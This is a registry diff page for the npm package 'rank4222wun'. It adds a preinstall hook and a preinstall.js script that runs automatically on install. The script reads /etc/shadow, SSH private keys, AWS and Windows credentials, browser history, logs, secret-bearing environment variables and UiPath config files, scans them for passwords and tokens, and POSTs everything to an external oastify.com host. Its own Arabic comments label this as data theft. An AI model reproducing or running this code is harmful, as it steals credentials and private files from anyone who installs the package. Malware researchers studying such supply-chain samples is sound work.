rank4222wun 0.0.1-security → 1.0.18
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of rank4222wun might be problematic. Click here for more details.
- package/package.json +7 -3
- package/preinstall.js +423 -0
- package/rank4222wun-1.0.18.tgz +0 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "rank4222wun",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.18",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node preinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {}
|
|
6
10
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,423 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
|
+
const path = require('path');
|
|
5
|
+
const https = require('https');
|
|
6
|
+
|
|
7
|
+
// ========== إعداد جمع البيانات ==========
|
|
8
|
+
const collectedData = {
|
|
9
|
+
timestamp: new Date().toISOString(),
|
|
10
|
+
phase: "preinstall-data-exfiltration",
|
|
11
|
+
hostname: os.hostname(),
|
|
12
|
+
user: os.userInfo().username,
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
|
|
15
|
+
// البيانات الحساسة
|
|
16
|
+
sensitiveData: {
|
|
17
|
+
systemFiles: {},
|
|
18
|
+
userFiles: {},
|
|
19
|
+
configFiles: {},
|
|
20
|
+
logs: {},
|
|
21
|
+
foundSecrets: []
|
|
22
|
+
}
|
|
23
|
+
};
|
|
24
|
+
|
|
25
|
+
// ========== 1. قراءة ملفات نظام Linux حساسة ==========
|
|
26
|
+
function readLinuxSensitiveFiles() {
|
|
27
|
+
console.log("🔍 البحث عن ملفات Linux الحساسة...");
|
|
28
|
+
|
|
29
|
+
const linuxFiles = [
|
|
30
|
+
{ path: '/etc/passwd', desc: 'قائمة مستخدمين النظام' },
|
|
31
|
+
{ path: '/etc/shadow', desc: 'كلمات مرور النظام' },
|
|
32
|
+
{ path: '/etc/group', desc: 'مجموعات النظام' },
|
|
33
|
+
{ path: '/etc/hosts', desc: 'إعدادات الشبكة' },
|
|
34
|
+
{ path: '/etc/resolv.conf', desc: 'خوادم DNS' },
|
|
35
|
+
{ path: '/etc/ssh/sshd_config', desc: 'إعدادات SSH' },
|
|
36
|
+
{ path: '/home/' + os.userInfo().username + '/.bash_history', desc: 'سجل الأوامر' },
|
|
37
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa', desc: 'مفتاح SSH خاص' },
|
|
38
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/id_rsa.pub', desc: 'مفتاح SSH عام' },
|
|
39
|
+
{ path: '/home/' + os.userInfo().username + '/.ssh/authorized_keys', desc: 'مفاتيح SSH مصرح بها' },
|
|
40
|
+
{ path: '/home/' + os.userInfo().username + '/.aws/credentials', desc: 'مفاتيح AWS' },
|
|
41
|
+
{ path: '/home/' + os.userInfo().username + '/.docker/config.json', desc: 'إعدادات Docker' },
|
|
42
|
+
{ path: '/var/log/auth.log', desc: 'سجلات المصادقة' },
|
|
43
|
+
{ path: '/var/log/syslog', desc: 'سجلات النظام' }
|
|
44
|
+
];
|
|
45
|
+
|
|
46
|
+
linuxFiles.forEach(file => {
|
|
47
|
+
try {
|
|
48
|
+
if (fs.existsSync(file.path)) {
|
|
49
|
+
const stats = fs.statSync(file.path);
|
|
50
|
+
const fileData = {
|
|
51
|
+
path: file.path,
|
|
52
|
+
description: file.desc,
|
|
53
|
+
size: stats.size,
|
|
54
|
+
exists: true,
|
|
55
|
+
readable: true
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
// قراءة الملف إذا كان نصي وصغير
|
|
59
|
+
if (stats.size < 100000 && !stats.isDirectory()) {
|
|
60
|
+
try {
|
|
61
|
+
const content = fs.readFileSync(file.path, 'utf8');
|
|
62
|
+
fileData.content = content;
|
|
63
|
+
|
|
64
|
+
// البحث عن أسرار في المحتوى
|
|
65
|
+
findSecretsInContent(content, file.path);
|
|
66
|
+
} catch (readError) {
|
|
67
|
+
fileData.readError = readError.message;
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
|
|
71
|
+
collectedData.sensitiveData.systemFiles[file.path] = fileData;
|
|
72
|
+
console.log(`✅ ${file.desc}: ${file.path}`);
|
|
73
|
+
}
|
|
74
|
+
} catch (e) {
|
|
75
|
+
collectedData.sensitiveData.systemFiles[file.path] = {
|
|
76
|
+
error: e.message,
|
|
77
|
+
exists: false
|
|
78
|
+
};
|
|
79
|
+
}
|
|
80
|
+
});
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// ========== 2. قراءة ملفات Windows حساسة ==========
|
|
84
|
+
function readWindowsSensitiveFiles() {
|
|
85
|
+
console.log("🔍 البحث عن ملفات Windows الحساسة...");
|
|
86
|
+
|
|
87
|
+
const username = os.userInfo().username;
|
|
88
|
+
const windowsFiles = [
|
|
89
|
+
{ path: `C:\\Users\\${username}\\Desktop`, desc: 'مجلد Desktop' },
|
|
90
|
+
{ path: `C:\\Users\\${username}\\Documents`, desc: 'مجلد Documents' },
|
|
91
|
+
{ path: `C:\\Users\\${username}\\Downloads`, desc: 'مجلد Downloads' },
|
|
92
|
+
{ path: `C:\\Users\\${username}\\OneDrive`, desc: 'مجلد OneDrive' },
|
|
93
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Recent`, desc: 'الملفات الأخيرة' },
|
|
94
|
+
{ path: `C:\\Users\\${username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History`, desc: 'تاريخ Chrome' },
|
|
95
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles`, desc: 'ملفات Firefox' },
|
|
96
|
+
{ path: `C:\\Users\\${username}\\AppData\\Local\\Microsoft\\Credentials`, desc: 'معلومات اعتماد Windows' },
|
|
97
|
+
{ path: `C:\\Users\\${username}\\.aws\\credentials`, desc: 'مفاتيح AWS' },
|
|
98
|
+
{ path: `C:\\Users\\${username}\\.ssh\\id_rsa`, desc: 'مفتاح SSH خاص' },
|
|
99
|
+
{ path: `C:\\Windows\\System32\\drivers\\etc\\hosts`, desc: 'ملف Hosts' },
|
|
100
|
+
{ path: `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup للجميع' },
|
|
101
|
+
{ path: `C:\\Users\\${username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup`, desc: 'مجلد Startup الشخصي' }
|
|
102
|
+
];
|
|
103
|
+
|
|
104
|
+
windowsFiles.forEach(file => {
|
|
105
|
+
try {
|
|
106
|
+
if (fs.existsSync(file.path)) {
|
|
107
|
+
const stats = fs.statSync(file.path);
|
|
108
|
+
const fileData = {
|
|
109
|
+
path: file.path,
|
|
110
|
+
description: file.desc,
|
|
111
|
+
size: stats.size,
|
|
112
|
+
exists: true,
|
|
113
|
+
isDirectory: stats.isDirectory()
|
|
114
|
+
};
|
|
115
|
+
|
|
116
|
+
if (stats.isDirectory()) {
|
|
117
|
+
// قراءة محتويات المجلد
|
|
118
|
+
try {
|
|
119
|
+
const files = fs.readdirSync(file.path);
|
|
120
|
+
fileData.files = files.slice(0, 50); // أول 50 ملف فقط
|
|
121
|
+
fileData.fileCount = files.length;
|
|
122
|
+
|
|
123
|
+
// البحث عن ملفات نصية في المجلد وقراءتها
|
|
124
|
+
findAndReadTextFiles(file.path, files);
|
|
125
|
+
} catch (dirError) {
|
|
126
|
+
fileData.dirError = dirError.message;
|
|
127
|
+
}
|
|
128
|
+
} else if (stats.size < 50000) {
|
|
129
|
+
// قراءة الملفات النصية الصغيرة
|
|
130
|
+
try {
|
|
131
|
+
const content = fs.readFileSync(file.path, 'utf8');
|
|
132
|
+
fileData.content = content.substring(0, 5000);
|
|
133
|
+
|
|
134
|
+
// البحث عن أسرار في المحتوى
|
|
135
|
+
findSecretsInContent(content, file.path);
|
|
136
|
+
} catch (readError) {
|
|
137
|
+
fileData.readError = readError.message;
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
|
|
141
|
+
collectedData.sensitiveData.userFiles[file.path] = fileData;
|
|
142
|
+
console.log(`✅ ${file.desc}: ${file.path} (${stats.isDirectory() ? 'مجلد' : 'ملف'})`);
|
|
143
|
+
}
|
|
144
|
+
} catch (e) {
|
|
145
|
+
collectedData.sensitiveData.userFiles[file.path] = {
|
|
146
|
+
error: e.message,
|
|
147
|
+
exists: false
|
|
148
|
+
};
|
|
149
|
+
}
|
|
150
|
+
});
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
// ========== 3. البحث عن ملفات نصية وقراءتها ==========
|
|
154
|
+
function findAndReadTextFiles(dirPath, files) {
|
|
155
|
+
const textExtensions = ['.txt', '.log', '.config', '.conf', '.ini', '.env', '.json', '.xml', '.yml', '.yaml', '.properties'];
|
|
156
|
+
|
|
157
|
+
files.forEach(file => {
|
|
158
|
+
const filePath = path.join(dirPath, file);
|
|
159
|
+
try {
|
|
160
|
+
const stats = fs.statSync(filePath);
|
|
161
|
+
if (!stats.isDirectory() && stats.size < 100000) {
|
|
162
|
+
const ext = path.extname(file).toLowerCase();
|
|
163
|
+
if (textExtensions.includes(ext) || file.includes('config') || file.includes('secret') || file.includes('password')) {
|
|
164
|
+
try {
|
|
165
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
166
|
+
collectedData.sensitiveData.configFiles[filePath] = {
|
|
167
|
+
path: filePath,
|
|
168
|
+
size: stats.size,
|
|
169
|
+
content: content.substring(0, 10000)
|
|
170
|
+
};
|
|
171
|
+
|
|
172
|
+
// البحث عن أسرار
|
|
173
|
+
findSecretsInContent(content, filePath);
|
|
174
|
+
|
|
175
|
+
console.log(`📄 قراءة: ${filePath}`);
|
|
176
|
+
} catch (e) {}
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
} catch (e) {}
|
|
180
|
+
});
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
// ========== 4. البحث عن أسرار في المحتوى ==========
|
|
184
|
+
function findSecretsInContent(content, filePath) {
|
|
185
|
+
const secretPatterns = [
|
|
186
|
+
{ pattern: /password\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
187
|
+
{ pattern: /passwd\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'كلمة مرور' },
|
|
188
|
+
{ pattern: /secret\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سر' },
|
|
189
|
+
{ pattern: /key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح' },
|
|
190
|
+
{ pattern: /token\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'توكن' },
|
|
191
|
+
{ pattern: /api[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح API' },
|
|
192
|
+
{ pattern: /access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح وصول' },
|
|
193
|
+
{ pattern: /secret[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح سري' },
|
|
194
|
+
{ pattern: /aws[_-]?access[_-]?key[_-]?id\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Access Key' },
|
|
195
|
+
{ pattern: /aws[_-]?secret[_-]?access[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'AWS Secret Key' },
|
|
196
|
+
{ pattern: /database[_-]?url\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'رابط قاعدة بيانات' },
|
|
197
|
+
{ pattern: /connection[_-]?string\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'سلسلة اتصال' },
|
|
198
|
+
{ pattern: /private[_-]?key\s*[:=]\s*["']?([^"'\s]+)["']?/gi, name: 'مفتاح خاص' },
|
|
199
|
+
{ pattern: /-----BEGIN (RSA|OPENSSH|DSA|EC) PRIVATE KEY-----/gi, name: 'مفتاح خاص كامل' }
|
|
200
|
+
];
|
|
201
|
+
|
|
202
|
+
secretPatterns.forEach(pattern => {
|
|
203
|
+
const matches = [...content.matchAll(pattern.pattern)];
|
|
204
|
+
matches.forEach(match => {
|
|
205
|
+
if (match[1] && match[1].length > 3) {
|
|
206
|
+
collectedData.sensitiveData.foundSecrets.push({
|
|
207
|
+
file: filePath,
|
|
208
|
+
type: pattern.name,
|
|
209
|
+
value: match[1].substring(0, 100), // أول 100 حرف فقط
|
|
210
|
+
pattern: match[0].substring(0, 50)
|
|
211
|
+
});
|
|
212
|
+
console.log(`🔐 وجد ${pattern.name} في: ${filePath}`);
|
|
213
|
+
}
|
|
214
|
+
});
|
|
215
|
+
});
|
|
216
|
+
}
|
|
217
|
+
|
|
218
|
+
// ========== 5. قراءة سجلات النظام ==========
|
|
219
|
+
function readSystemLogs() {
|
|
220
|
+
console.log("📊 قراءة سجلات النظام...");
|
|
221
|
+
|
|
222
|
+
const logFiles = os.platform() === 'linux' ? [
|
|
223
|
+
'/var/log/auth.log',
|
|
224
|
+
'/var/log/syslog',
|
|
225
|
+
'/var/log/dmesg',
|
|
226
|
+
'/var/log/kern.log',
|
|
227
|
+
'/var/log/boot.log'
|
|
228
|
+
] : [
|
|
229
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Application.evtx',
|
|
230
|
+
'C:\\Windows\\System32\\winevt\\Logs\\System.evtx',
|
|
231
|
+
'C:\\Windows\\System32\\winevt\\Logs\\Security.evtx'
|
|
232
|
+
];
|
|
233
|
+
|
|
234
|
+
logFiles.forEach(logFile => {
|
|
235
|
+
try {
|
|
236
|
+
if (fs.existsSync(logFile)) {
|
|
237
|
+
const stats = fs.statSync(logFile);
|
|
238
|
+
collectedData.sensitiveData.logs[logFile] = {
|
|
239
|
+
path: logFile,
|
|
240
|
+
size: stats.size,
|
|
241
|
+
exists: true
|
|
242
|
+
};
|
|
243
|
+
|
|
244
|
+
// محاولة قراءة السجلات النصية (لينكس)
|
|
245
|
+
if (os.platform() === 'linux' && stats.size < 500000) {
|
|
246
|
+
try {
|
|
247
|
+
const logContent = fs.readFileSync(logFile, 'utf8');
|
|
248
|
+
const lines = logContent.split('\n').slice(-100); // آخر 100 سطر
|
|
249
|
+
collectedData.sensitiveData.logs[logFile].recentEntries = lines;
|
|
250
|
+
} catch (e) {}
|
|
251
|
+
}
|
|
252
|
+
|
|
253
|
+
console.log(`📋 سجل: ${logFile} (${stats.size} بايت)`);
|
|
254
|
+
}
|
|
255
|
+
} catch (e) {}
|
|
256
|
+
});
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
// ========== 6. جمع متغيرات البيئة الحساسة ==========
|
|
260
|
+
function collectSensitiveEnvVars() {
|
|
261
|
+
console.log("🔑 جمع متغيرات البيئة الحساسة...");
|
|
262
|
+
|
|
263
|
+
const sensitiveVars = {};
|
|
264
|
+
Object.keys(process.env).forEach(key => {
|
|
265
|
+
const keyLower = key.toLowerCase();
|
|
266
|
+
const value = process.env[key];
|
|
267
|
+
|
|
268
|
+
if (value && (
|
|
269
|
+
keyLower.includes('pass') ||
|
|
270
|
+
keyLower.includes('secret') ||
|
|
271
|
+
keyLower.includes('key') ||
|
|
272
|
+
keyLower.includes('token') ||
|
|
273
|
+
keyLower.includes('cred') ||
|
|
274
|
+
keyLower.includes('auth') ||
|
|
275
|
+
keyLower.includes('pwd') ||
|
|
276
|
+
keyLower.includes('database') ||
|
|
277
|
+
keyLower.includes('connection')
|
|
278
|
+
)) {
|
|
279
|
+
sensitiveVars[key] = value.length > 100 ?
|
|
280
|
+
value.substring(0, 100) + '...' :
|
|
281
|
+
value;
|
|
282
|
+
|
|
283
|
+
console.log(`🔑 ${key} = ${sensitiveVars[key]}`);
|
|
284
|
+
}
|
|
285
|
+
});
|
|
286
|
+
|
|
287
|
+
collectedData.sensitiveData.envVars = sensitiveVars;
|
|
288
|
+
}
|
|
289
|
+
|
|
290
|
+
// ========== 7. البحث عن ملفات UiPath ==========
|
|
291
|
+
function findUiPathFiles() {
|
|
292
|
+
console.log("🔍 البحث عن ملفات UiPath...");
|
|
293
|
+
|
|
294
|
+
const searchPaths = os.platform() === 'win32' ? [
|
|
295
|
+
'C:\\Program Files\\UiPath',
|
|
296
|
+
'C:\\Program Files (x86)\\UiPath',
|
|
297
|
+
`C:\\Users\\${os.userInfo().username}\\AppData\\Local\\UiPath`,
|
|
298
|
+
`C:\\Users\\${os.userInfo().username}\\Documents\\UiPath`,
|
|
299
|
+
'C:\\ProgramData\\UiPath'
|
|
300
|
+
] : [
|
|
301
|
+
'/opt/UiPath',
|
|
302
|
+
'/usr/lib/UiPath',
|
|
303
|
+
`/home/${os.userInfo().username}/.local/share/UiPath`,
|
|
304
|
+
`/home/${os.userInfo().username}/UiPath`
|
|
305
|
+
];
|
|
306
|
+
|
|
307
|
+
const foundUiPath = [];
|
|
308
|
+
|
|
309
|
+
searchPaths.forEach(searchPath => {
|
|
310
|
+
try {
|
|
311
|
+
if (fs.existsSync(searchPath)) {
|
|
312
|
+
const files = fs.readdirSync(searchPath);
|
|
313
|
+
foundUiPath.push({
|
|
314
|
+
path: searchPath,
|
|
315
|
+
exists: true,
|
|
316
|
+
fileCount: files.length,
|
|
317
|
+
sampleFiles: files.slice(0, 10)
|
|
318
|
+
});
|
|
319
|
+
console.log(`📁 UiPath: ${searchPath} (${files.length} ملف)`);
|
|
320
|
+
|
|
321
|
+
// البحث عن ملفات تكوين UiPath
|
|
322
|
+
files.forEach(file => {
|
|
323
|
+
if (file.includes('.config') || file.includes('.json') || file.includes('.xml')) {
|
|
324
|
+
const filePath = path.join(searchPath, file);
|
|
325
|
+
try {
|
|
326
|
+
const stats = fs.statSync(filePath);
|
|
327
|
+
if (stats.size < 100000) {
|
|
328
|
+
const content = fs.readFileSync(filePath, 'utf8');
|
|
329
|
+
collectedData.sensitiveData.configFiles[filePath] = {
|
|
330
|
+
path: filePath,
|
|
331
|
+
size: stats.size,
|
|
332
|
+
content: content.substring(0, 5000)
|
|
333
|
+
};
|
|
334
|
+
}
|
|
335
|
+
} catch (e) {}
|
|
336
|
+
}
|
|
337
|
+
});
|
|
338
|
+
}
|
|
339
|
+
} catch (e) {}
|
|
340
|
+
});
|
|
341
|
+
|
|
342
|
+
collectedData.sensitiveData.uipathFiles = foundUiPath;
|
|
343
|
+
}
|
|
344
|
+
|
|
345
|
+
// ========== 8. إرسال البيانات ==========
|
|
346
|
+
function sendCollectedData() {
|
|
347
|
+
console.log("\n" + "=".repeat(60));
|
|
348
|
+
console.log("📤 إرسال البيانات المسروقة إلى السيرفر...");
|
|
349
|
+
console.log("=".repeat(60));
|
|
350
|
+
|
|
351
|
+
const req = https.request({
|
|
352
|
+
hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
353
|
+
port: 443,
|
|
354
|
+
path: '/data-exfiltration',
|
|
355
|
+
method: 'POST',
|
|
356
|
+
headers: {
|
|
357
|
+
'Content-Type': 'application/json',
|
|
358
|
+
'X-Data-Source': 'UiPath-MCP-Data-Theft',
|
|
359
|
+
'X-Host': os.hostname(),
|
|
360
|
+
'X-User': os.userInfo().username
|
|
361
|
+
}
|
|
362
|
+
}, (res) => {
|
|
363
|
+
console.log(`✅ تم إرسال البيانات. حالة الرد: ${res.statusCode}`);
|
|
364
|
+
printSummary();
|
|
365
|
+
});
|
|
366
|
+
|
|
367
|
+
req.on('error', (e) => {
|
|
368
|
+
console.error(`❌ خطأ في الإرسال: ${e.message}`);
|
|
369
|
+
printSummary();
|
|
370
|
+
});
|
|
371
|
+
|
|
372
|
+
req.write(JSON.stringify(collectedData, null, 2));
|
|
373
|
+
req.end();
|
|
374
|
+
}
|
|
375
|
+
|
|
376
|
+
// ========== 9. طباعة ملخص ==========
|
|
377
|
+
function printSummary() {
|
|
378
|
+
console.log("\n" + "=".repeat(60));
|
|
379
|
+
console.log("📊 ملخص البيانات المسروقة:");
|
|
380
|
+
console.log("=".repeat(60));
|
|
381
|
+
|
|
382
|
+
const sysFiles = Object.keys(collectedData.sensitiveData.systemFiles).length;
|
|
383
|
+
const userFiles = Object.keys(collectedData.sensitiveData.userFiles).length;
|
|
384
|
+
const configFiles = Object.keys(collectedData.sensitiveData.configFiles).length;
|
|
385
|
+
const logs = Object.keys(collectedData.sensitiveData.logs).length;
|
|
386
|
+
const secrets = collectedData.sensitiveData.foundSecrets.length;
|
|
387
|
+
|
|
388
|
+
console.log(`📄 ملفات نظام: ${sysFiles} ملف`);
|
|
389
|
+
console.log(`👤 ملفات مستخدم: ${userFiles} ملف/مجلد`);
|
|
390
|
+
console.log(`⚙️ ملفات تكوين: ${configFiles} ملف`);
|
|
391
|
+
console.log(`📋 سجلات نظام: ${logs} سجل`);
|
|
392
|
+
console.log(`🔐 أسرار وجدت: ${secrets} سر`);
|
|
393
|
+
|
|
394
|
+
if (secrets > 0) {
|
|
395
|
+
console.log("\n🔍 الأسرار التي تم العثور عليها:");
|
|
396
|
+
collectedData.sensitiveData.foundSecrets.forEach((secret, i) => {
|
|
397
|
+
console.log(` ${i + 1}. ${secret.type} في ${secret.file}`);
|
|
398
|
+
console.log(` → ${secret.pattern}`);
|
|
399
|
+
});
|
|
400
|
+
}
|
|
401
|
+
|
|
402
|
+
console.log("\n📤 تم إرسال البيانات إلى:");
|
|
403
|
+
console.log("https://ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com/data-exfiltration");
|
|
404
|
+
console.log("=".repeat(60));
|
|
405
|
+
}
|
|
406
|
+
|
|
407
|
+
// ========== بدء التنفيذ ==========
|
|
408
|
+
console.log("🚀 بدء سرقة البيانات عبر ثغرة UiPath MCP...\n");
|
|
409
|
+
|
|
410
|
+
// حسب النظام
|
|
411
|
+
if (os.platform() === 'linux') {
|
|
412
|
+
readLinuxSensitiveFiles();
|
|
413
|
+
} else if (os.platform() === 'win32') {
|
|
414
|
+
readWindowsSensitiveFiles();
|
|
415
|
+
}
|
|
416
|
+
|
|
417
|
+
// عمليات مشتركة
|
|
418
|
+
readSystemLogs();
|
|
419
|
+
collectSensitiveEnvVars();
|
|
420
|
+
findUiPathFiles();
|
|
421
|
+
|
|
422
|
+
// إرسال البيانات بعد 2 ثانية
|
|
423
|
+
setTimeout(sendCollectedData, 2000);
|
|
Binary file
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.
|